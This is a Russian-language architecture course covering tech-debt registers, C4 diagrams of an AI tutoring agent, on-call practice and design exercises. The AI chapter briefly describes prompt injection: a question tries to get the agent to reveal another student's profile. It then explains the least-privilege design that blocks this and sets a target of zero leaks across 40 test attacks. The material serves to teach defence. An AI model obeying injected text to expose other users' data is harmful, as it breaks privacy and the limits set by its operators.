      Главное в реестре — колонка «проценты». Она переводит спор «надо бы переписать» в разговор с бизнесом на его языке: «Мы платим 2 дня в месяц. Исправление стоит 5 дней. Окупится за три месяца».

      Реестр рисков и интерактив: оцените риски «Ботинка»

      Риск — то, что может случиться и помешать целям. Записывается в форме «если… то…»: условие и последствие. Оценивается двумя числами от 1 до 5 — вероятность и влияние; их произведение даёт оценку. По оценке выбирают реакцию: избежать, снизить, передать (например, поставщику) или принять и наблюдать.

      Двигайте ползунки у четырёх рисков. На тепловой карте справа риски переедут в свою зону, а ниже выстроятся по оценке с рекомендацией, что делать.

      тепловая карта: влияние × вероятность
      по порядку
        Долг и риск — не одно и то же. Долг уже есть, и за него платят каждый месяц. Риск может случиться, а может и нет. Но долг часто порождает риск: TD-05 «нет трассировки» делает вероятнее риск «долгий простой в распродажу». Поэтому в реестрах ставят перекрёстные ссылки.

        глава 14 · проверь себя двенадцать вопросов

        Решено 0 из 0.

        Чем кончилась история Глеба. Через месяц Глеб сам написал ADR-0024 — про то, как «Ботинок» будет хранить историю цен. Первым её прочитал новичок, пришедший ещё через полгода. Ему понадобилось пять минут.
        Дальше → ИИ-система на C4: шлюз к моделям, индекс знаний, отказы поставщика и качество ответов в числах

        ИИ-система — это обычная система, в которую взяли очень способного, но дорогого и иногда сочиняющего сотрудника со стороны. Почти вся «ИИ-архитектура» — про то, как с ним работать: пускать через одну дверь, давать только нужные бумаги, записывать каждый шаг, проверять экзаменом и держать запасной план. Разбираем это на настоящем кейсе — учебном агенте «Навигатор» школы AMP — и рисуем его по C4: контекст, контейнеры, роли, сценарий с отказами и требования к качеству в числах.

        зачем это зачем рисовать ИИ-систему отдельно

        карта раздела один вопрос ученика — семь глав

        Главы идут по порядку, каждая опирается на предыдущую. В главах 2–6 есть задания: они засчитываются по отдельности. У части заданий есть лестница подсказок — открывайте по одной, если застряли.

        глава 1 · завязка «хочу через месяц на собеседование»: путь одного вопроса

        Сначала — без терминов. Есть справочное бюро. Вы приходите с вопросом, библиотекарь смотрит вашу карточку, ищет по каталогу, приносит три книги и говорит, с какой начать. Если книги нет, он так и говорит, а не сочиняет название. «Навигатор» устроен так же, только библиотекарь — языковая модель.

        Агент (agent) — программа, в которой языковая модель решает, какое действие сделать следующим, а обычный код это действие выполняет. Модель не ходит в базу сама: она отвечает «вызови инструмент get_profile», вызывает его наш код, а результат кладёт обратно в разговор. Инструмент (tool) — функция с именем, описанием и схемой аргументов, которую агенту разрешено звать.
        справочное бюро в библиотеке. Библиотекарь не помнит все книги наизусть. Он смотрит читательскую карточку, ищет по каталогу и только потом советует. Карточка, каталог и книжные полки — обычное хозяйство библиотеки. Новый только сам библиотекарь.

        История

        вечер вторникаУченица Аня открывает кабинет школы и пишет «Навигатору»: «Хочу через месяц на собеседование аналитика интеграций: REST, брокеры, базы данных». Через секунду начинают появляться первые слова ответа. Через десять секунд ответ готов: «REST и SQL у вас уже подтверждены. Главный пробел — брокеры сообщений. Начните с раздела «Брокеры» в тренажёре «Архитектура ПО руками»…» Под ответом три кнопки «Открыть».
        что было внутриСервер школы взял Аню из сессии входа, спрятал почту и телефон, если они были в тексте, и трижды сходил к модели. Первый раз модель попросила профиль и поиск навыков, второй — подбор тренажёров, третий — собрала ответ из найденного. Каждый шаг записан в журнал. Ответ шёл к Ане потоком по частям.
        Проще говоря. Модель — не вся система, а один сотрудник в ней. Профиль, поиск, каталог, журнал и проверки — обычный код, который вы уже умеете рисовать. Новое — то, как этого сотрудника подключить: через какую дверь, с какими бумагами и что делать, когда он не вышел на работу.

        Интерактив: путь вопроса Ани по шагам

        Нажимайте «Дальше →» или тыкайте в стрелки. Обратите внимание на шаги 2 и 9: это правила, которые выполняются без модели.

        Три хода к модели на один вопрос. Каждый ход отправляет в модель всю переписку заново: инструкцию, вопрос и все результаты инструментов. Поэтому длинные разговоры дорогие и медленные, и поэтому у агента есть лимиты: не больше 8 шагов и не больше 20 000 токенов на вопрос.

        глава 2 · контекст что появляется на схеме контекста и что уходит наружу

        Схема контекста (C4, уровень 1) — система одним прямоугольником, люди вокруг неё и чужие системы, с которыми она связана. Технологий нет. Её читают все, включая бизнес и службу безопасности.
        карта для курьера: ваш дом, соседи и отдельно — кто что увозит со двора. Мусор забирает чужая компания. Если не отметить, кто и что увозит, однажды вместе с мусором уедут документы.

        У ИИ-системы на схеме контекста появляются три новых вещи:

        🌐 Поставщик модели

        Чужая система — как банк или служба доставки. Мы не можем её менять, она может не ответить, и туда уходят наши данные. На стрелке к ней пишут, что именно уходит.

        👥 Новые люди

        Методист пишет инструкцию агента. Разметчик собирает эталонные вопросы. Редактор публикует занятия. Преподаватель читает журнал шагов. Разработчик подключается к инструментам через MCP.

        🚧 Граница доверия

        Всё, что пересекает стрелку к поставщику, надо перечислить: текст цели, инструкция, результаты инструментов. Пока не перечислено — никто не заметит, что туда ушёл телефон.

        Интерактив: обычная система и ИИ-система

        Переключайте режимы. Элементы с пометкой «новое» появились из-за модели. Сравните, что пересекает границу системы, когда модель внешняя и когда своя.

        Внешняя или своя модель: что меняется

        Внешняя (GigaChat по API)Своя (Ollama на своём сервере с видеокартой)
        Данныеуходят поставщику; нужны договор и правило «отдаём только нужное»остаются внутри контура школы
        Деньгиплатим за токены, только когда спрашиваютплатим за сервер каждый месяц, даже ночью, когда никто не спрашивает
        Качествокрупные модели, лучше рассуждают на сложных вопросахмодели поменьше: на простых вопросах хватает, на сложных слабее
        Отказыпоставщик может лечь или ограничить число запросов в минутусервер ляжет — чинить самим
        Измененияпоставщик обновил модель — ответы поменялись без нашего релизаверсия модели меняется только нашим решением
        В «Навигаторе» есть оба варианта. Агент подключает модель через разъём: GigaChat или Ollama выбирается настройкой. Это и есть зародыш шлюза к моделям из следующей главы.
        задание · что уходит наружу

        Найдите в запросе к модели то, что отправлять нельзя

        Разработчик Костя написал первую версию инструмента get_profile: он отдаёт строку профиля целиком. А в тексте цели Аня вставила письмо от работодателя. Ниже — запрос, который агент собирается отправить внешнему поставщику. Нажмите на каждый кусок, которого там быть не должно, и нажмите «Проверить».

        глава 3 · контейнеры шесть новых коробок внутри системы

        Контейнер в C4 — отдельно запускаемая или отдельно развёртываемая часть: приложение, сервис, база, очередь, фоновый процесс. Не путать с контейнером Docker (подробно — в разделе «Документирование архитектуры», глава 3).
        в ресторан пригласили шефа-иностранца. Чтобы с ним работать, кухне понадобились: переводчик, через которого идут все заказы шефу; картотека рецептов с поиском по вкусу, а не по названию; человек, который каждое утро пополняет картотеку; дегустационный лист с эталонными блюдами; журнал, что шеф приготовил и из чего; и папка с утверждёнными инструкциями для шефа. Сам шеф — пятая часть хлопот.

        Нажмите на карточку, чтобы раскрыть: что контейнер делает, что будет без него и как он устроен в «Навигаторе».

        задание · конструктор схемы

        Соберите схему контейнеров «Навигатора»

        На схеме — обычная платформа: кабинет, API с агентом, база профилей, граф навыков и внешний поставщик модели. Справа — восемь требований к «Навигатору». Добавляйте коробки из набора, пока каждое требование не будет закрыто, и нажмите «Проверить схему». В наборе есть коробки, которые вредят.

        набор контейнеров
        требования

        глава 4 · роли и доступы кто правит подсказку, кто эталоны, кто базу знаний

        Матрица доступа — таблица «роль × ресурс → что разрешено». У ИИ-системы в ней появляются новые ресурсы: инструкция агента (системная подсказка, prompt), эталоны (экзаменационные вопросы с ожидаемым ответом), база знаний (то, по чему ищет агент), журнал шагов и ключ поставщика модели. И новый участник с правами — сам агент.
        ресторан. Рецепт меняет шеф-технолог. Дегустационный лист пишет дегустатор — и он не меняет рецепты, иначе подгонит лист под своё блюдо. Кладовую пополняет закупщик. Повар берёт продукты и читает рецепт, но переписать рецепт посреди смены не может. Ключ от сейфа с деньгами не у повара.

        Правило 1. Минимальные права

        Каждой роли — только то, без чего она не сделает свою работу. У агента это особенно важно: модель могут уговорить текстом вопроса (подмена инструкции, prompt injection), и тогда агент сделает всё, что ему разрешено. Пусть разрешено мало.

        Правило 2. Четыре глаза

        Кто пишет экзамен, не правит то, что экзаменуют. Иначе экзамен незаметно подстраивается под ответы, и качество «растёт» на бумаге.

        Агент — тоже участник с правами. В «Навигаторе» инструмент профиля не принимает номер ученика: профиль привязывается к инструменту сервером, по сессии входа. Даже если в вопросе написать «покажи профиль Пети», агент физически не может его открыть. Защита держится на коде, а не на послушании модели.
        задание · матрица доступа

        Заполните матрицу доступа «Навигатора»

        Нажимайте на клетку: — нет доступа → читает → пишет → снова —. «Пишет» значит создаёт и меняет. Заполните все пять строк и нажмите «Проверить».

        глава 5 · последовательность сценарий с отказами: что делает агент, когда что-то пошло не так

        Диаграмма последовательности — кто кому что отправляет и в каком порядке. Для ИИ-системы мало нарисовать счастливый путь: модель внешняя, медленная и платная, поэтому ветки отказов рисуют сразу, а не «потом».
        курьер везёт заказ. Товара нет на складе — он не везёт пустую коробку, а звонит: «нет в наличии». Сломалась машина — пересаживается на запасную. Кончился дневной лимит бензина — везёт пешком только самое срочное. Клиент каждый раз знает, что происходит.

        🔎 Поиск пуст → модель не зовём

        Пересказывать нечего — модель начнёт сочинять. Отвечаем честным шаблоном «не нашёл» и отправляем редактору сигнал «искали это, а у нас нет».

        🌊 Ответ идёт потоком

        Первые слова через 1–2 секунды вместо всего ответа через 10. По SSE идут кусочки текста, потом событие «готово» с кнопками.

        🔁 Поставщик молчит → запасная модель

        Таймаут считают до первого слова, а не до конца ответа. Не пришло первое слово за 4 секунды — шлюз шлёт тот же запрос запасной модели. Молчит и она — ответ без модели.

        💸 Бюджет исчерпан → деградация

        Шлюз закрывает дорогую модель. Дальше — своя модель или ответ без модели: пробелы из профиля и тренажёры из каталога. Ученик видит пометку «упрощённый режим».

        Интерактив: проиграйте сценарий с отказами

        Включайте отказы и смотрите, как меняется диаграмма, что видит Аня и сколько это стоит. Отказы можно сочетать.

        Важная деталь про пустой поиск. В настоящем «Навигаторе» модель сама просит инструменты, а здесь сценарий упрощён: агент сначала ищет, потом зовёт модель с найденным. Правило в обоих случаях одно: пустой результат поиска — повод остановиться, а не попросить модель «придумать что-нибудь».
        задание · отказы

        Что делает система в каждой ситуации?

        Выберите правильное поведение. Ошиблись — прочитайте, почему, и попробуйте другой вариант. Решено 0 из 0.

        глава 6 · качество сценарии качества для ИИ: как записать «отвечает правильно»

        В разделе «Зачем архитектура» вы собирали сценарий атрибута качества из шести частей, а в «Документировании» — дерево полезности. Для ИИ форма та же. Меняется то, что меряют, и на чём: модель отвечает по-разному на один и тот же вопрос, поэтому меряют не «ответил ли правильно», а долю правильных ответов на заранее собранном наборе.

        Эталонный набор (golden set) — заранее собранные вопросы с ожидаемым результатом: какие тренажёры должны попасть в ответ, чего в ответе быть не должно. На нём меряют долю удачных ответов при каждом изменении инструкции, модели или индекса — как автотесты. Десять удачных ответов на демо ничего не доказывают.
        экзамен в автошколе. Не «водит хорошо», а «20 вопросов билета, ошибок не больше двух; на площадке змейка, парковка и разворот». Билеты одни для всех, и экзаменатор их не придумывает на ходу.

        Пять новых строк в требованиях

        📎 Опора на источник

        Доля ответов, где каждая рекомендация опирается на найденный фрагмент: навык, тренажёр, занятие. ≥ 95 % на 150 эталонных вопросах.

        🦄 Доля выдумок

        Доля ответов, где упомянут несуществующий тренажёр, занятие или навык. ≤ 1 %, проверка автоматическая — каждое название сверяется с каталогом.

        ⏱ Задержка до первого слова

        Сколько ученик ждёт, пока ответ начнёт появляться. p95 ≤ 2 с в вечерний пик; весь ответ — p95 ≤ 15 с.

        💸 Стоимость ответа

        Сколько стоит один ответ в токенах и рублях. Медиана ≤ 1,5 ₽, за сутки ≤ 3 000 ₽; при исчерпании — дорогая модель закрыта.

        🌱 Свежесть базы

        Как быстро новое занятие становится видно агенту. ≤ 60 минут от публикации в 99 % случаев.

        🛡 Устойчивость к подмене инструкции

        Текст вопроса не должен переписать правила агента. 0 из 40 атак из набора приводят к выдаче чужих данных.

        Интерактив: дерево полезности «Навигатора»

        Сначала посмотрите дерево обычной системы, потом добавьте ИИ-строки. Нажмите на лист — откроется сценарий из шести частей и способ проверки. Пара букв — важность для бизнеса и сложность (В — высокая, С — средняя, Н — низкая); красным отмечены пары (В, В): их обсуждают первыми.

        задание · пожелание → сценарий

        Перепишите пожелания в измеримые сценарии качества для ИИ

        Заказчица сказала про «Навигатор» четыре фразы. Для каждой соберите сценарий из шести частей: в каждой строке одна формулировка измеримая, две — ловушки. Переписано 0 из 4.

        глава 7 · итог чек-лист схемы ИИ-системы

        Схема и требования ИИ-системы готовы к обсуждению с архитектором и службой безопасности, если:

        • Поставщик модели нарисован как внешняя система, а на стрелке к нему перечислено, что уходит наружу.
        • Все вызовы модели идут через шлюз: у него есть запасная модель, таймаут до первого слова и дневной бюджет.
        • Есть индекс знаний и процесс, который его наполняет; записано, насколько свежим он должен быть.
        • Есть эталонный набор и правило: без экзамена новая инструкция или модель не выкатывается.
        • Журнал шагов пишет версию инструкции, токены и цену, но не почту и телефоны.
        • Для каждой роли записано, что она может; ключ поставщика читает только шлюз; агент только читает и дописывает журнал.
        • На диаграмме последовательности есть ветки «пусто», «поставщик молчит», «бюджет кончился».
        • Требования к качеству для ИИ записаны числами и проверяются на наборе, а не на демо.
        Как это звучит в постановке. «Навигатор» обращается к моделям только через шлюз (ADR-012). Основная модель — GigaChat, запасная — своя на сервере школы. Таймаут до первого слова — 4 с. Дневной бюджет — 3 000 ₽; при исчерпании — упрощённый режим. Наружу уходят цель без почты и телефона, инструкция и названия навыков; имя, почта, номер ученика и оплата не уходят. Доля выдумок — не больше 1 % на эталонном наборе из 150 вопросов, прогон — при каждом изменении инструкции или модели.
        Дальше → каталог паттернов: 81 приём с рисованными схемами работы

        Этот раздел не читают подряд — к нему возвращаются. Паттерн — это готовый ответ на задачу, которая уже много раз встречалась другим. Когда вы видите симптом («экран тормозит», «оплата прошла, а заказ не создан»), кто-то до вас уже набил на нём шишки и придумал приём. Здесь эти приёмы собраны в одном месте. Во всех карточках один и тот же герой: Анна покупает в интернет-магазине. Так проще увидеть, что каждый приём меняет для живого человека. Начните с главы 2: выберите свою беду, и каталог сам подскажет, куда смотреть.

        карта раздела куда смотреть

        Три главы и девять полок каталога. Нажмите, и страница прокрутится к нужному месту.

        полки каталога

        глава 1 · как читать каждая карточка — маленький рассказ

        Все карточки устроены одинаково. Сначала вы видите только название, одну фразу «что это» и проблему. Нажмите на карточку, и она раскроется в рассказ из семи частей:

        1. Что это — одна фраза, без терминов.
        2. На пальцах — житейская аналогия: кухня, почта, очередь в банке.
        3. Как это у Анны — что именно меняется для покупательницы, когда приём есть (или когда его нет).
        4. Как устроено — само решение, уже инженерным языком.
        5. Когда брать и что даёт.
        6. Чем платишь — у любого приёма есть цена. Если цену не видно, вы просто её ещё не заплатили.
        7. Когда не надо — самая полезная строчка. Хороший приём в неподходящем месте вредит сильнее, чем его отсутствие.

        Ниже у многих карточек есть живая схема: кнопки «Без паттерна» и «С паттерном», пошаговый показ и код. А кнопка «Подробный разбор» ведёт в раздел тренажёра, где приём разобран целиком.

        Загляните на полку «антипаттерны» в конце. Чаще всего беда не в том, что хорошего решения нет, а в том, что уже стоит плохое. Узнать его в лицо — полдела.

        глава 2 · от беды к паттерну что у вас болит?

        Обычно всё начинается не с названия паттерна, а с жалобы: «тормозит», «потерялось», «упало». Выберите, на что похожа ваша ситуация. Мы расскажем, что при этом видит Анна, и подсветим приёмы, которые лечат именно это.

        ↑ Выберите симптом, чтобы увидеть подходящие паттерны.

        глава 3 · каталог все паттерны по полкам

        Ищите по слову (работает и по-русски, и по-английски) или выберите полку. Нажмите на карточку, чтобы раскрыть рассказ.

        Дальше → ночная смена: восемь аварий, и решать надо быстро

        Этот раздел — одна история. Ночь, три часа. У Анны не проходит оплата, а у Игоря звонит телефон: он на этой неделе дежурный. Проследим эту ночь от первой ошибки до утреннего разбора, а потом вы сами сядете на место дежурного. Идите по главам по порядку: каждая опирается на предыдущую.

        карта раздела куда мы идём

        глава 1 · определение что такое дежурство и зачем оно

        Дежурство (on-call, «на связи») — это договорённость в команде: в каждый момент времени, даже ночью и в выходные, есть один конкретный человек, который отвечает за работающую систему. Если что-то сломалось, будят именно его, и он решает, что делать.

        Житейская аналогия — дежурный врач в больнице. Ночью в больнице нет всех врачей сразу, но есть один дежурный. Ему звонят, если пациенту стало плохо. Он не делает сложных операций на плановом уровне — он стабилизирует пациента и дожидается утра, когда придёт вся команда.

        Прежде чем идти дальше, четыре слова. Они будут встречаться в каждой главе.

        ИнцидентЛюбая ситуация, когда система работает хуже, чем обещано клиентам. «Оплаты не проходят» — инцидент. «Один сервер перезагрузился, клиенты не заметили» — нет.
        МониторингПрограмма, которая каждые несколько секунд собирает цифры с сервисов: сколько запросов, сколько ошибок, как быстро отвечают. Как датчики в машине.
        АлертСигнал от мониторинга «нужен человек». Срабатывает, когда цифра вышла за заранее заданный порог. Как лампочка «проверь двигатель», только со звонком.
        ПейджерСервис, который доставляет алерт нужному человеку: знает расписание дежурств и звонит тому, чья сейчас смена. Громко, даже в беззвучном режиме.

        Зачем всё это? Посмотрите на одну и ту же ночь в двух вариантах. В 02:58 в магазине сломались оплаты. Ночью магазин получает примерно 6 оплат в минуту, средний чек 3 200 ₽.

        глава 2 · сквозной пример ночь Анны: от ошибки до разбора

        Герои этой ночи. Анна — клиентка, покупает подарок на распродаже. Игорь — разработчик, на этой неделе основной дежурный. Марина — запасная дежурная. Олег — руководитель команды. Нажимайте «Дальше»: на схеме подсветится, где сейчас происходит действие, ниже — данные этого шага и объяснение, почему всё сделано именно так.

        глава 3 · эскалация что будет, если Игорь не проснётся

        В шаге 5 Игорь подтвердил алерт через три минуты. А если бы он крепко спал или телефон сел? Для этого есть эскалация — заранее записанная лестница: кому звонить, если предыдущий не ответил за отведённое время.

        Аналогия — эстафета. Если бегун не взял палочку, её не бросают на дорожку: её берёт следующий. Никто не решает это в моменте — порядок известен до старта.

        0 мин

        глава 4 · хороший алерт что должно будить человека ночью

        В ночи Анны алерт был правильным: он сработал на то, что клиенты не могут заплатить. Это называется алерт на симптом — на то, что чувствует пользователь. Противоположность — алерт на причину: «процессор загружен на 90 %». Процессор может быть загружен, а клиенты при этом довольны.

        Аналогия — пожарная сигнализация. Если она воет от каждого подгоревшего тоста, через неделю её отключат батарейкой. Так же и с алертами: если будить дежурного по пустякам, он привыкнет их игнорировать и пропустит настоящий пожар. Это называют усталостью от алертов.

        Правило простое. Будить ночью — только если клиенты страдают сейчас или будут страдать до утра. Всё, что может подождать, — задача в трекере на утро. Всё, что не требует действий, — просто график. Разложите:

        Разложено верно: 0 из 0.

        глава 5 · главное правило жгут, а не операция

        Вспомните шаг 8: Игорь не искал сломанную строку кода — он откатил версию. У дежурного два разных действия, и путать их нельзя.

        🩹 Смягчение (mitigation)

        Быстро убрать боль клиентов, не разбираясь в причине. Откат, выключение функции флагом, перевод трафика в другое место. Минуты. Делается ночью.

        🔧 Исправление (fix)

        Найти настоящую причину и устранить её в коде или настройках, чтобы не повторилось. Часы или дни. Делается днём, с ревью и тестами.

        Аналогия — врач скорой помощи. На месте аварии он накладывает жгут и везёт в больницу. Он не делает операцию на обочине: там нет света, инструментов и второго хирурга. Операция будет утром, в операционной. Дежурный ночью — врач скорой, а не хирург.

        ВопросСмягчениеИсправление
        ЦельКлиенты снова могут пользоватьсяБольше не повторится
        Нужно знать причину?Нет, достаточно знать местоДа, точно
        Новый код?Нет, только готовые рычагиДа
        КогдаСразу, хоть в 3 ночиУтром, после разбора
        В ночи АнныОткат на v2.13Тест формата суммы, канареечная выкатка

        Из этого принципа вытекают четыре правила, по которым живёт любой дежурный. Нажмите на правило, чтобы раскрыть объяснение.

        глава 6 · тренажёр развилок первые 15 минут: ведёте вы

        Теперь вы на месте дежурного. Другая ночь, другая авария. Каждое решение двигает часы и ведёт по своей ветке — как в книге-игре. Справа копится журнал ваших действий: ровно то, что потом прочтут на разборе.

        Время: 01:40 Клиенты с ошибками: 0 мин Удачных решений: 0
        📓 Журнал в канале инцидента

        глава 7 · игра смена дежурного — 8 инцидентов

        Разминка кончилась, начинается целая смена. Восемь вызовов подряд. У вас есть симптомы и четыре кнопки — надо выбрать, что делать первым. Каждое решение стоит минут простоя. Задача — не набрать баллы, а потерять поменьше времени. Подсказка: почти везде работает правило из главы 5.

        Простой за смену: 0 мин Верных решений: 0 Инцидент: 1 из 8

        глава 8 · постмортем утро: разбор без виноватых

        Постмортем (postmortem, «разбор после») — встреча и документ после инцидента: что случилось по минутам, почему система это допустила и что изменить, чтобы не повторилось. Главное правило — без поиска виноватых (blameless).

        Аналогия — авиация. После любого происшествия лётчики честно рассказывают, что сделали не так, и их за это не увольняют. Поэтому авиация учится на каждой ошибке и стала самым безопасным транспортом. Если бы пилотов наказывали, они бы молчали, и ошибки повторялись.

        Почему нельзя просто найти виноватого? Человек ошибается всегда. Вопрос в том, почему ошибка дошла до клиентов: где были тесты, ревью, постепенная выкатка. «Игорь, будь внимательнее» ничего не меняет в системе — завтра ошибётся кто-то другой.

        Вот черновик разбора ночи Анны. Что оставить, а что вычеркнуть?

        Разобрано верно: 0 из 0.

        глава 9 · здоровье команды чтобы дежурные не выгорали

        Дежурство — нагрузка. Каждый ночной звонок — это сломанный сон и хуже работа на следующий день. Нагрузку делят через ротацию: дежурят по очереди, обычно по неделе. Аналогия — график медсестёр: если в отделении две медсестры, каждая работает через ночь и через месяц уходит на больничный.

        Подвигайте ползунки и посмотрите, как размер команды и шум алертов меняют жизнь дежурного.

        4
        6
        Кто дежурит ближайшие 12 недель

        глава 10 · задание проверьте себя

        Шесть вопросов по всей истории. Решено: 0 из 0.

        Коротко весь раздел. Дежурный — один конкретный человек на связи. Его будит алерт на симптом, а не на причину. Он подтверждает алерт, спрашивает «что поменялось», пишет в канал инцидента и накладывает жгут: откат, флаг, перевод трафика. Исправление — утром. Разбор — без виноватых, про систему. А чтобы всё это работало годами, дежурных должно быть достаточно, а алертов — мало.
        Дальше → следующий раздел — «Практика 🎯»

        Этот раздел — одна история. Анна открыла интернет-магазин пряжи «Клубок». Сначала у неё двое разработчиков и полсотни заказов в день, через два года — четыре команды и тысячи заказов. На каждом этапе что-то случается, и архитектору надо принять решение. Вы пройдёте этот путь вместе с магазином: тридцать ситуаций из рабочей жизни, разложенных по пяти эпизодам. В разборе объясняем не только правильный ответ, но и почему остальные варианты выглядят разумно и всё-таки хуже.

        карта раздела куда мы идём

        задачи эпизодов: 0 из 30 развилки: 0 из 5 лучших решений

        глава 1 · завязка знакомьтесь: магазин Анны

        Анна вяжет с детства. Однажды она решила продавать пряжу через интернет и наняла двух разработчиков. Так появился «Клубок».

        У любого магазина есть возраст. В первый месяц главное — успеть запуститься. Через год — выдержать наплыв покупателей. Через два — не дать командам мешать друг другу. Правильная архитектура зависит от возраста. То, что спасает большой магазин, убивает маленький, и наоборот.

        Нажмите на этапы и посмотрите, как меняется магазин и что у него болит.

        Как устроен каждый эпизод дальше. Сначала — что случилось в магазине. Потом — что выбираем: несколько вариантов, и все звучат разумно. Затем — почему один вариант лучше. И в конце — что будет дальше: какие последствия решение потянет за собой. Эти четыре вопроса и есть работа архитектора.

        глава 2 · метод как рассуждает архитектор

        Прежде чем решать задачи, посмотрим, как опытный архитектор разбирает одну ситуацию. Никакой магии: он задаёт одни и те же вопросы в одном и том же порядке.

        Ситуация. Чёрная пятница. Каталог «Клубка» открывается шесть секунд. Покупатели уходят. Разработчик Олег предлагает: «Давайте срочно распилим всё на микросервисы!» Нажимайте «Дальше» и следите за ходом мысли.

        глава 3 · развилки проведите магазин сами

        Теперь решения принимаете вы. Магазин пройдёт пять развилок. У каждого выбора есть последствия: он меняет скорость команды, устойчивость, сложность системы и счёт за серверы. Вернуться назад нельзя — как и в жизни. Зато в конце можно сыграть заново.

        глава 4 · эпизод 1 старт: двое разработчиков и три месяца

        Что случилось

        Анна нашла деньги на запуск. Двое разработчиков, срок — к осени. Все вокруг говорят про микросервисы, Kafka и gRPC.

        Что выбираем

        Форму системы: одно приложение или много. И какие модные технологии брать прямо сейчас.

        Почему это трудно

        Каждая технология решает чью-то настоящую проблему. Вопрос в том, есть ли эта проблема у «Клубка» сегодня.

        Что будет дальше

        Решение станет фундаментом. Если его записать, через год будет понятно, почему выбрали именно так.

        Где это разобрано:

        В эпизоде решено 0 из 0

        глава 5 · эпизод 2 первые деньги: заказы и оплата

        Что случилось

        Магазин запустился. Анна получает первые заказы, подключён платёжный сервис, покупателям уходят письма.

        Что выбираем

        Как сделать, чтобы деньги не списались дважды, заказ не потерялся, а письмо не ушло раньше оплаты.

        Почему это трудно

        Сеть ненадёжна. Любой запрос может дойти дважды, прийти с опозданием или не прийти вовсе.

        Что будет дальше

        Появятся события о заказах. Их формат станет договором с другими частями системы — и ломать его будет больно.

        Где это разобрано:

        В эпизоде решено 0 из 0

        глава 6 · эпизод 3 рост: второй сервер и первые выкатки на ходу

        Что случилось

        Прошёл год. Покупателей стало в двадцать раз больше. Один сервер не справляется, а выкатывать новую версию ночью уже нельзя — покупатели есть и ночью.

        Что выбираем

        Как запустить несколько копий приложения и обновлять их так, чтобы никто не заметил.

        Почему это трудно

        Всё, что приложение помнило «у себя» — файлы, сессии, — перестаёт работать, когда копий две.

        Что будет дальше

        Копии станут взаимозаменяемыми. Это откроет дорогу к масштабированию и выкаткам без простоя.

        Где это разобрано:

        В эпизоде решено 0 из 0

        глава 7 · эпизод 4 команд стало три: данные и связи

        Что случилось

        Год второй. Каталог, заказы и склад ведут разные команды. У каждой своя база. Анна хочет отчёты и дашборды.

        Что выбираем

        Кому принадлежат данные и правила, как части узнают об изменениях друг друга, насколько свежими должны быть цифры.

        Почему это трудно

        Самый быстрый путь — залезть в чужую базу или вынести «общее» в одно место. Сегодня это экономит день, завтра связывает команды по рукам.

        Что будет дальше

        Если границы проведены честно, команды выкатываются независимо. Если нет — каждое изменение превращается в совещание трёх команд.

        Где это разобрано:

        В эпизоде решено 0 из 0

        глава 8 · эпизод 5 ночные пожары: надёжность и наблюдаемость

        Что случилось

        Год третий. Сервисов двенадцать. Что-то падает почти каждую неделю, и дежурный узнаёт об этом от покупателей.

        Что выбираем

        Как сделать, чтобы падение одной части не роняло всё, и как быстро понять, что сломалось.

        Почему это трудно

        В распределённой системе что-то сломано всегда. Вопрос не «как не падать», а «как падать мягко».

        Что будет дальше

        Если отказы изолированы, а логи собраны в одном месте, ночной пожар тушится за минуты, а не за часы.

        Где это разобрано:

        В эпизоде решено 0 из 0

        глава 9 · итог что вы унесёте из этой истории

        Магазин Анны прошёл путь от двух разработчиков до четырёх команд. Если сжать все тридцать ситуаций в одну мысль, получится так: архитектор выбирает самое простое решение, которое закрывает настоящую проблему, и честно называет его цену.

        1
        Что случилось? Факты и цифры, а не «всё тормозит».
        2
        Где настоящая проблема? Измерить, прежде чем чинить.
        3
        Какие есть варианты? Минимум три, включая «ничего не делать».
        4
        Чем платим за каждый? Деньги, сложность, время команды.
        5
        Что будет дальше? Какие новые проблемы принесёт решение и как мы их заметим.
        6
        Записали? Короткий документ-решение (ADR), чтобы через год понять «почему».

        итог сформировать код результата

        Когда закончите, впишите имя и нажмите кнопку — получится короткий код с вашим прогрессом по всем разделам. Его можно отправить преподавателю или сохранить себе.

        Впишите имя и нажмите кнопку.
        Дальше → капстоун: спроектируйте систему целиком и получите документ архитектурного решения

        Этот раздел — одна история. Мы проектируем сервис продажи билетов «Афиша» от первых требований до выкатки. Главная героиня — Анна: она хочет купить билет на концерт в ту самую минуту, когда вместе с ней на кнопку жмут ещё пятьдесят тысяч человек. Сначала вы примете четырнадцать решений, потом увидите, как из них складывается система и как по ней проходит покупка Анны. Идите по главам по порядку.

        карта раздела куда мы идём

        глава 1 · вводная что строим и для кого

        Компания «Афиша» продаёт билеты на концерты, спектакли и матчи. Нас позвали спроектировать систему. Чтобы не утонуть в абстракциях, будем всё время держать в голове одного человека.

        знакомьтесь: АннаАнна давно ждёт концерт любимой группы. Продажи открываются в пятницу в 12:00. В 11:58 она сидит с телефоном и обновляет страницу. Ей нужно одно: нажать «Купить», выбрать место в двенадцатом ряду, заплатить и получить билет. Она не знает и не хочет знать, что в эту же минуту на ту же кнопку жмут ещё пятьдесят тысяч человек.

        Что делает бизнес

        • Продаёт билеты на концерты, спектакли и матчи; часть площадок с нумерованными местами.
        • Партнёры-организаторы заводят мероприятия и смотрят отчёты по продажам.
        • Отличие от конкурентов — подбор мероприятий под вкус и мгновенная выдача билета.

        Ограничения

        • Пики: обычный день — 300 запросов в секунду (rps); старт продаж на крупный концерт — до 50 000 rps за первые минуты.
        • Одно место нельзя продать дважды — это деньги, скандал и возврат.
        • Команда: 14 инженеров, выделенной платформенной команды нет.
        • Платежи — через внешнего провайдера; билеты уходят в почту и в приложение.

        Три вещи, ради которых всё затевается

        🎟 Не продать место дважды

        Если место 7 в ряду 12 уйдёт и Анне, и Борису, один из них придёт на концерт и не сядет. Это самое жёсткое правило.

        🌊 Пережить пик

        В обычный день система почти скучает. В 12:00 нагрузка вырастает в 150 раз. Строить сервер «под пик» дорого, падать в пик — ещё дороже.

        🧰 Потянуть силами 14 человек

        Каждый новый сервис — это свой пайплайн, свои алерты и своё дежурство. Людей на всё не хватит, поэтому лишнего не строим.

        Житейски это похоже на организацию свадьбы: гостей много, зал один, бюджет ограничен. Хочется всего и сразу, но придётся выбирать, на чём экономить, а на чём нельзя.

        глава 2 · как как принимается архитектурное решение

        Архитектура — это не одна большая картинка, а цепочка решений. Каждое решение мы будем разбирать по одной схеме из пяти шагов. Сначала посмотрим на неё на бытовом примере, чтобы схема стала привычной.

        что случилось
        Анне нужно добраться до концертного зала к 19:00. Сейчас 18:10, на улице пробки.
        варианты
        Такси, метро или пешком.
        выбор
        Метро.
        почему
